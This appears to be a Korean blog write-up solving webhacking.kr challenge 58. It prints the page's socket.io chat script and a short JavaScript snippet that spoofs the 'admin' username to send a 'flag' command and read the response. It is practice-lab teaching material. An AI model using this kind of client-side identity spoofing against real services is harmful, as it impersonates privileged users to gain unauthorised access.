[webhacking.kr] 58번 문제 풀이[Javascript]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 58번 문제에 대한 풀이입니다.

문제

image 메시지를 보내서 flag를 알아내는 문제입니다.

문제 풀이

어떻게 작동하는지 확인하기 위해서 웹 소스코드를 먼저 분석합니다.

<script>
    $(function () {
      var username = "guest";
      var socket = io();
      $('form').submit(function(e){
        e.preventDefault();
        socket.emit('cmd',username+":"+$('#m').val());
        $('#m').val('');
        return false;
      });
      socket.on('cmd', function(msg){
        $('#messages').append($('<li>').text(msg));
      });
    });
    </script>

send 버튼을 누르면 javascript에서 웹 소켓을 통해 서버로 메시지를 전달하고, 응답을 출력하는 코드입니다.

위와 동일하게 자바 스크립트로 서버와 소켓을 하나 더 생성하여, admin 계정으로 데이터를 보내줍니다.

function sock(cmd){
	var username = "admin";
	var socket = io();
	socket.emit('cmd',username+':'+cmd);
	socket.on('cmd',function(msg){
		console.log(msg);
	})
}
sock('flag');

image

댓글남기기